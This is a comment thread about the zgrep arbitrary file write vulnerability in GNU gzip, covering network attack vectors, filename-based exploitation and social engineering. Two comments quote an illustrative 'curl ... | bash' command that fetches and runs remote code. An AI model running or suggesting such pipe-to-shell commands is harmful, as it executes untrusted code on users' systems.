Re:Arbitrary file write vulnerability in GNU gzip's zgrep ut...
by oefrha on Monday April 18, 2022 @09:23PM
(#31078825)
> while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.
You’d be surprised. I wrote a Postfix tutorial ages ago and left my real email address in the To: of an example test email. I subsequently got a lot of emails from root@s with the exact same title and body over the years. Too many people copy paste anything labeled as instruction without a second thought.
Re:Arbitrary file write vulnerability in GNU gzip's zgrep ut...
by AnotherGoodName on Monday April 18, 2022 @07:16PM
(#31077925)
The thing i don't get is the statement "Attack Vector Network" in the advisory as well at the statement it allows a remote attacker to write files.
I don't understand the bar to be called a Network Attack Vector. Surely there's more to this than asking the user to run shell commands right?
Re:Arbitrary file write vulnerability in GNU gzip's zgrep ut...
by cjbprime on Monday April 18, 2022 @10:36PM
(#31079266)
It sounds like if a web service allowed a user to upload a file with attacker-chosen filename, which it will then run zgrep on, it would be vulnerable.
Perhaps that's why?
Re:Arbitrary file write vulnerability in GNU gzip's zgrep ut...
by Beltiras on Tuesday April 19, 2022 @08:07AM
(#31082022)
That's actually the suggested installation mechanism for a lot of software. Most recent I can think of were some AWS cli tools, as delivered from AWS. Height of irresponsibility imo.
There aren't, to my knowledge, common programs or setups that would cause this to matter.
This would probably be used for social engineering at best, where the attacker convinces a victim to "hey, git clone my repo, and then run zgrep "bad string" * for some contrived reason"
Someone who's trying to assist someone else on discord or whatever probably won't consider running "zgrep" in an attacker controlled directory dangerous, so they might do it, while if the attacker said "I need help, curl https://my-site.com | bash to repro", the victim would absolutely not do it.